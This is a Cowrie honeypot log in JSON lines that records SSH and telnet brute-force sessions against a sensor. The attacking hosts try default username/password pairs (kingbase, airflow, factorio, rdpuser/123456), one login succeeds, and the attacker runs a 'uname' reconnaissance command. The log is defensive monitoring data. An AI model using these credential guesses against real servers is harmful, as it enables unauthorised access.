{"eventid":"cowrie.session.closed","duration":5.0246827602386475,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:02.923972Z","src_ip":"38.54.119.93","session":"396ea72ffbd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36352,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1d763e51b34","protocol":"ssh","message":"New connection: 176.65.132.254:36352 (10.17.0.5:22) [session: e1d763e51b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:04.841895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:04.846228Z","src_ip":"176.65.132.254","session":"e1d763e51b34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:04.945187Z","src_ip":"176.65.132.254","session":"e1d763e51b34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:05.239645Z","src_ip":"176.65.132.254","session":"e1d763e51b34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.665990352630615,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:05.505262Z","src_ip":"38.54.119.93","session":"fcc734b09d75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:06.398573Z","src_ip":"176.65.132.254","session":"e1d763e51b34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.968102216720581,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:06.617817Z","src_ip":"38.54.119.93","session":"8cdb536958d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36368,"dst_ip":"10.17.0.5","dst_port":22,"session":"56084249aa1f","protocol":"ssh","message":"New connection: 176.65.132.254:36368 (10.17.0.5:22) [session: 56084249aa1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:09.146721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:09.151278Z","src_ip":"176.65.132.254","session":"56084249aa1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:09.245936Z","src_ip":"176.65.132.254","session":"56084249aa1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:09.500035Z","src_ip":"176.65.132.254","session":"56084249aa1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:10.585574Z","src_ip":"176.65.132.254","session":"56084249aa1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54532,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b526b6b33a9","protocol":"ssh","message":"New connection: 176.65.132.254:54532 (10.17.0.5:22) [session: 7b526b6b33a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:13.275076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:13.284084Z","src_ip":"176.65.132.254","session":"7b526b6b33a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:13.359588Z","src_ip":"176.65.132.254","session":"7b526b6b33a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:13.700007Z","src_ip":"176.65.132.254","session":"7b526b6b33a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:14.785414Z","src_ip":"176.65.132.254","session":"7b526b6b33a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.15147137641907,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:16.315096Z","src_ip":"38.54.119.93","session":"a2d2ba116f27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54544,"dst_ip":"10.17.0.5","dst_port":22,"session":"a211a76b66a6","protocol":"ssh","message":"New connection: 176.65.132.254:54544 (10.17.0.5:22) [session: a211a76b66a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:17.385503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:17.390738Z","src_ip":"176.65.132.254","session":"a211a76b66a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:17.473909Z","src_ip":"176.65.132.254","session":"a211a76b66a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:17.981142Z","src_ip":"176.65.132.254","session":"a211a76b66a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:19.066620Z","src_ip":"176.65.132.254","session":"a211a76b66a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33606,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f27703fb687","protocol":"telnet","message":"New connection: 134.209.8.29:33606 (159.203.135.109:23) [session: 9f27703fb687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:19.335148Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54560,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8d4fb0a9ada","protocol":"ssh","message":"New connection: 176.65.132.254:54560 (10.17.0.5:22) [session: e8d4fb0a9ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:21.843450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:21.848306Z","src_ip":"176.65.132.254","session":"e8d4fb0a9ada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:21.940563Z","src_ip":"176.65.132.254","session":"e8d4fb0a9ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:22.480128Z","src_ip":"176.65.132.254","session":"e8d4fb0a9ada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:23.567275Z","src_ip":"176.65.132.254","session":"e8d4fb0a9ada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.458181858062744,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:24.793198Z","src_ip":"134.209.8.29","session":"9f27703fb687","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51058,"dst_ip":"10.17.0.5","dst_port":22,"session":"8461e6ffd8dc","protocol":"ssh","message":"New connection: 176.65.132.254:51058 (10.17.0.5:22) [session: 8461e6ffd8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:26.051244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:26.055987Z","src_ip":"176.65.132.254","session":"8461e6ffd8dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:26.148885Z","src_ip":"176.65.132.254","session":"8461e6ffd8dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:26.415290Z","src_ip":"176.65.132.254","session":"8461e6ffd8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:27.503163Z","src_ip":"176.65.132.254","session":"8461e6ffd8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.588632106781006,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:29.693404Z","src_ip":"134.209.8.29","session":"dbc478822aa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.22928714752197,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:29.841722Z","src_ip":"38.54.119.93","session":"46ae9c42b420","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51080,"dst_ip":"10.17.0.5","dst_port":22,"session":"b219419be127","protocol":"ssh","message":"New connection: 176.65.132.254:51080 (10.17.0.5:22) [session: b219419be127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:30.381239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:30.386517Z","src_ip":"176.65.132.254","session":"b219419be127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:30.478121Z","src_ip":"176.65.132.254","session":"b219419be127","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:30.742791Z","src_ip":"176.65.132.254","session":"b219419be127","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:30.978660Z","src_ip":"176.65.132.254","session":"b219419be127","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:30.982252Z","src_ip":"176.65.132.254","session":"b219419be127","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:31.068125Z","src_ip":"176.65.132.254","session":"b219419be127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:31.074014Z","src_ip":"176.65.132.254","session":"b219419be127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":43966,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb33c472ce93","protocol":"ssh","message":"New connection: 152.32.189.59:43966 (159.203.135.109:22) [session: cb33c472ce93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:33.064886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:58:33.077526Z","src_ip":"152.32.189.59","session":"cb33c472ce93","protocol":"ssh"}
